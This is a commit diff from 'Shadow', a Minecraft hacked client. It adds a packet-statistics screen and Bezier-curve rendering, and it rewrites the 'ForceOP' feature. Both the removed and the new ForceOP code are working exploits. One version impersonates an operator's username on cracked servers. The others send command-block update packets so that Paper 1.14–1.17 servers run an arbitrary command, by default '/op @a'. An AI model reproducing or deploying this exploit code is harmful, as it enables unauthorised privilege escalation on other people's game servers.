This commit is contained in:
Saturn5Vfive 2022-04-06 00:50:14 -05:00
commit a5c7e1b1dd
9 changed files with 184 additions and 149 deletions

View file

@ -141,7 +141,6 @@ public class CommandRegistry {
vanillaCommands.add(new Equip());
vanillaCommands.add(new EVclip());
vanillaCommands.add(new FloodLuckperms());
vanillaCommands.add(new ForceOP());
vanillaCommands.add(new ItemSpoof());
vanillaCommands.add(new HClip());
vanillaCommands.add(new Image());
@ -155,6 +154,7 @@ public class CommandRegistry {
vanillaCommands.add(new VClip());
vanillaCommands.add(new MessageSpam());
vanillaCommands.add(new ClearInventory());
vanillaCommands.add(new ForceOP());
}
public static List<Command> getCommands() {

View file

@ -4,62 +4,54 @@
package net.shadow.client.feature.command.impl;
import net.minecraft.client.network.PlayerListEntry;
import net.minecraft.client.network.ServerAddress;
import net.minecraft.world.GameMode;
import net.minecraft.block.Block;
import net.minecraft.block.BlockState;
import net.minecraft.block.Blocks;
import net.minecraft.block.entity.CommandBlockBlockEntity;
import net.minecraft.entity.vehicle.CommandBlockMinecartEntity;
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket;
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockMinecartC2SPacket;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.hit.EntityHitResult;
import net.minecraft.util.hit.HitResult;
import net.minecraft.util.math.BlockPos;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.helper.Globals;
import net.shadow.client.mixin.SessionAccessor;
import java.net.InetSocketAddress;
import java.util.Objects;
public class ForceOP extends Command {
public ForceOP() {
super("ForceOP", "Get op on cracked servers", "forceOp", "crackedOp");
}
private static void authUsername(String username) {
ShadowMain.client.getSessionProperties().clear();
((SessionAccessor) ShadowMain.client).setUsername(username);
}
private String getPlayer() {
for (PlayerListEntry player : ShadowMain.client.getNetworkHandler().getPlayerList()) {
if (player.getGameMode().equals(GameMode.CREATIVE) || player.getGameMode().equals(GameMode.SPECTATOR)) {
return player.getProfile().getName();
}
}
return "None";
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
if (args.length == 1) {
return Objects.requireNonNull(ShadowMain.client.world).getPlayers().stream().map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()).toList().toArray(String[]::new);
}
return super.getSuggestions(fullCommand, args);
super("ForceOP", "Edit command blocks on paper 1.14 - 1.17", "forceop", "editcmd");
}
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
InetSocketAddress socket = (InetSocketAddress) ShadowMain.client.player.networkHandler.getConnection().getAddress();
Globals.serverAddress = new ServerAddress(socket.getHostName(), socket.getPort());
String nick;
if (args.length == 0) {
nick = getPlayer();
if (nick.equals("None")) {
error("Could not find a suitable OP Player, use arguments to define");
return;
HitResult view = ShadowMain.client.crosshairTarget;
String command = String.join(" ",args);
if (view == null || view.getType() == HitResult.Type.MISS) {
error("Look at a command block or command block minecart");
} else if (view instanceof EntityHitResult ehr) {
if (ehr.getEntity() instanceof CommandBlockMinecartEntity) {
message("Sending exploit");
ShadowMain.client.player.networkHandler.sendPacket(new UpdateCommandBlockMinecartC2SPacket(ehr.getEntity().getId(), command, false));
success("Sent exploit, try to activate the command block minecart");
} else {
error("Look at a command block minecart");
}
} else if (view instanceof BlockHitResult bhr) {
BlockPos bp = bhr.getBlockPos();
BlockState bs = ShadowMain.client.world.getBlockState(bp);
Block b = bs.getBlock();
if (b == Blocks.COMMAND_BLOCK || b == Blocks.REPEATING_COMMAND_BLOCK || b == Blocks.CHAIN_COMMAND_BLOCK) {
message("Sending exploit");
ShadowMain.client.getNetworkHandler().sendPacket(new UpdateCommandBlockC2SPacket(bp, "", CommandBlockBlockEntity.Type.REDSTONE, false, false, false));
ShadowMain.client.getNetworkHandler().sendPacket(new UpdateCommandBlockC2SPacket(bp, command, CommandBlockBlockEntity.Type.REDSTONE, false, false, true));
success("Sent exploit, command block should self activate");
} else {
error("Look at any type of command block");
}
} else {
nick = args[0];
}
authUsername(nick);
Globals.reconnectInstantly = true;
ShadowMain.client.world.disconnect();
}
}

View file

@ -120,7 +120,7 @@ public class HomeScreen extends ClientScreen implements FastTickable {
buttonsMap.add(new AbstractMap.SimpleEntry<>("Realms", () -> ShadowMain.client.setScreen(new RealmsMainScreen(this))));
buttonsMap.add(new AbstractMap.SimpleEntry<>("Alts", () -> ShadowMain.client.setScreen(
AltManagerScreen.instance()
// new AddonManagerScreen()
// new TestScreen()
)));
buttonsMap.add(new AbstractMap.SimpleEntry<>("Settings", () -> ShadowMain.client.setScreen(new OptionsScreen(this, ShadowMain.client.options))));
widgetsHeight = buttonsMap.size() * (widgetHeight + widPad) - widPad;

View file

@ -0,0 +1,86 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.gui.screen;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.util.Util;
import net.minecraft.util.math.Vec2f;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.gui.FastTickable;
import net.shadow.client.helper.Timer;
import net.shadow.client.helper.render.Renderer;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.Objects;
public class StatsScreen extends ClientScreen implements FastTickable {
static List<Float> packetIn = Util.make(() -> {
List<Float> f = new ArrayList<>();
for(int i = 0;i<100;i++) f.add(0f);
return f;
});
static List<Float> packetOut = Util.make(() -> {
List<Float> f = new ArrayList<>();
for(int i = 0;i<100;i++) f.add(0f);
return f;
});
Timer packetUpdater = new Timer();
@Override
public void onFastTick() {
if (packetUpdater.hasExpired(500)) {
packetUpdater.reset();
float in = ShadowMain.client.getNetworkHandler().getConnection().getAveragePacketsReceived();
packetIn.add(in);
float out = ShadowMain.client.getNetworkHandler().getConnection().getAveragePacketsSent();
packetOut.add(out);
while(packetIn.size() > 100) {
packetIn.remove(0);
}
while(packetOut.size() > 100) packetOut.remove(0);
}
}
@Override
public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) {
renderBackground(stack);
double contentWidth = width;
List<Vec2f> bezPositions = new ArrayList<>();
List<Float> pIn = new ArrayList<>(StatsScreen.packetIn);
List<Float> pOut = new ArrayList<>(StatsScreen.packetOut);
pIn.removeIf(Objects::isNull);
float highest = Math.max(pIn.stream().max(Comparator.comparingDouble(value -> (double) value)).orElse(0f),
pOut.stream().max(Comparator.comparingDouble(value -> (double) value)).orElse(0f));
double maxHeight = 300;
float scaleFactor = (float) Math.min(1,maxHeight/highest);
for (int i = 0; i < pIn.size(); i++) {
double prog = (i)/(double)(pIn.size()-3);
float x = (float) (prog*contentWidth-((System.currentTimeMillis()-packetUpdater.getLastReset())/500f*(1f/(pIn.size()-1)*contentWidth)));
float y = (float) height-pIn.get(i)*scaleFactor;
Vec2f a = new Vec2f(x,y);
bezPositions.add(a);
}
Renderer.R2D.renderBezierCurve(stack,bezPositions.toArray(new Vec2f[0]), 1f,1f,0f,1f,0.01f);
bezPositions.clear();
for (int i = 0; i < pOut.size(); i++) {
double prog = (i)/(double)(pOut.size()-3);
float x = (float) (prog*contentWidth-((System.currentTimeMillis()-packetUpdater.getLastReset())/500f*(1f/(pOut.size()-1)*contentWidth)));
float y = (float) height-pOut.get(i)*scaleFactor;
Vec2f a = new Vec2f(x,y);
bezPositions.add(a);
}
Renderer.R2D.renderBezierCurve(stack,bezPositions.toArray(new Vec2f[0]), 0f,1f,1f,1f,0.01f);
super.renderInternal(stack, mouseX, mouseY, delta);
}
@Override
public boolean shouldPause() {
return false;
}
}

View file

@ -5,27 +5,30 @@
package net.shadow.client.feature.gui.screen;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.util.math.Vec2f;
import net.shadow.client.helper.GifPlayer;
import net.shadow.client.helper.render.Renderer;
import java.io.File;
public class TestScreen extends ClientScreen {
private static final GifPlayer gp = GifPlayer.createFromFile(new File("/home/x150/Downloads/img.gif"), 30);
public TestScreen() {
}
@Override
protected void init() {
gp.setGifFile(new File("/home/x150/Downloads/img.gif"));
super.init();
}
@Override
public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) {
renderBackground(stack);
gp.renderFrame(stack, 10, 10, 300, 300);
Vec2f[] points = new Vec2f[] {
new Vec2f(0,0),
new Vec2f(100,100),
new Vec2f(mouseX,mouseY),
new Vec2f(500,300),
new Vec2f(200,200),
new Vec2f(600,200)
};
Renderer.R2D.renderBezierCurve(stack,points,1f,1f,1f,1f,0.01f);
super.renderInternal(stack, mouseX, mouseY, delta);
}

View file

@ -1,95 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.exploit;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.BooleanSetting;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.minecraft.block.Blocks;
import net.minecraft.block.entity.CommandBlockBlockEntity;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.entity.Entity;
import net.minecraft.entity.vehicle.CommandBlockMinecartEntity;
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket;
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockMinecartC2SPacket;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Vec3d;
public class ForceOP extends Module {
final StringSetting command = this.config.create(new StringSetting.Builder("/op @a").name("Command").description("The command to run while using the exploit").get());
final BooleanSetting useBlock = this.config.create(new BooleanSetting.Builder(false).name("Use Blocks").description("Use commandblocks instead of minecarts to perform the exploit").get());
public ForceOP() {
super("ForceOP", "ForceOP on paper 1.14.0 - 1.17.0 Servers while in GMC with command blocks on", ModuleType.EXPLOIT);
}
@Override
public void tick() {
}
@Override
public void enable() {
if(useBlock.getValue()){
BlockPos selblock = null;
for (int x = -7; x < 8; x++)
for (int y = -7; y < 8; y++)
for (int z = -7; z < 8; z++) {
BlockPos pos = client.player.getBlockPos().add(new BlockPos(x, y, z));
if (client.world.getBlockState(pos).getBlock() == Blocks.COMMAND_BLOCK) {
selblock = pos;
break;
}
}
if(selblock == null){
Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlock Near You!");
return;
}
Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit...");
client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, "", CommandBlockBlockEntity.Type.REDSTONE, false, false, false));
client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, command.getValue(), CommandBlockBlockEntity.Type.REDSTONE, false, false, true));
this.setEnabled(false);
}else{
int id = 696969;
for (Entity mcart : client.world.getEntities()) {
if (mcart instanceof CommandBlockMinecartEntity) {
if (mcart.distanceTo(client.player) > 7) return;
id = mcart.getId();
}
}
if (id == 696969) {
Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlockMinecart Near You!");
this.setEnabled(false);
return;
}
Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit...");
client.player.networkHandler.sendPacket(new UpdateCommandBlockMinecartC2SPacket(id, command.getValue(), false));
this.setEnabled(false);
}
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -18,4 +18,8 @@ public class Timer {
public boolean hasExpired(long timeout) {
return System.currentTimeMillis() - lastReset > timeout;
}
public long getLastReset() {
return lastReset;
}
}

View file

@ -518,6 +518,49 @@ public class Renderer {
renderTexturedQuad(matrices.peek()
.getPositionMatrix(), x0, x1, y0, y1, z, (u + 0.0F) / (float) textureWidth, (u + (float) regionWidth) / (float) textureWidth, (v + 0.0F) / (float) textureHeight, (v + (float) regionHeight) / (float) textureHeight);
}
static Vec2f lerp(Vec2f p1, Vec2f p2, float delta) {
float x = MathHelper.lerp(delta,p1.x,p2.x);
float y = MathHelper.lerp(delta,p1.y,p2.y);
return new Vec2f(x,y);
}
static Vec2f getMultiBezPoint(Vec2f[] vertecies, float delta) {
List<Vec2f> verts = new ArrayList<>(List.of(vertecies));
while(verts.size() > 1) {
for(int i = 0;i<verts.size()-1;i++) {
Vec2f current = verts.get(i);
Vec2f next = verts.get(i+1);
verts.set(i, lerp(current, next, delta));
}
verts.remove(verts.size()-1);
}
return verts.get(0);
}
static Vec2f getTriBezierPoint(Vec2f p1, Vec2f p2, Vec2f p3, float delta) {
Vec2f p1inner = lerp(p1,p2,delta);
Vec2f p2inner = lerp(p2,p3,delta);
return lerp(p1inner,p2inner,delta);
}
public static void renderBezierCurve(MatrixStack stack, Vec2f[] points, float r, float g, float b, float a, float laziness) {
if (points.length < 2) return;
float minIncr = 0.0001f;
laziness = MathHelper.clamp(laziness,minIncr,1);
Vec2f prev = null;
// for (int i = 1; i < points.length; i++) {
// Vec2f prev1 = points[i-1];
// Vec2f c = points[i];
// renderLine(stack,Color.RED,prev1.x,prev1.y,c.x,c.y);
// }
for(float d = 0;d<=1;d+=Math.min(laziness,Math.max(minIncr,1-d))) {
Vec2f pos = getMultiBezPoint(points,d);
if (prev == null) {
prev = pos;
continue;
}
renderLine(stack,new Color(r,g,b,a),prev.x,prev.y,pos.x,pos.y);
prev = pos;
}
}
public static void renderLoadingSpinner(MatrixStack stack, float alpha, double x, double y, double rad, double width, double segments) {
stack.push();

View file

@ -8,6 +8,7 @@ import net.minecraft.client.gui.screen.GameMenuScreen;
import net.minecraft.client.gui.screen.Screen;
import net.minecraft.text.Text;
import net.shadow.client.feature.gui.screen.AddonManagerScreen;
import net.shadow.client.feature.gui.screen.StatsScreen;
import net.shadow.client.feature.gui.widget.RoundButton;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
@ -25,6 +26,7 @@ public class GameMenuMixin extends Screen {
addDrawableChild(new RoundButton(RoundButton.STANDARD, 5, 5, 60, 20, "Addons", () -> {
assert client != null;
client.setScreen(new AddonManagerScreen());
// client.setScreen(new StatsScreen());
}));
}
}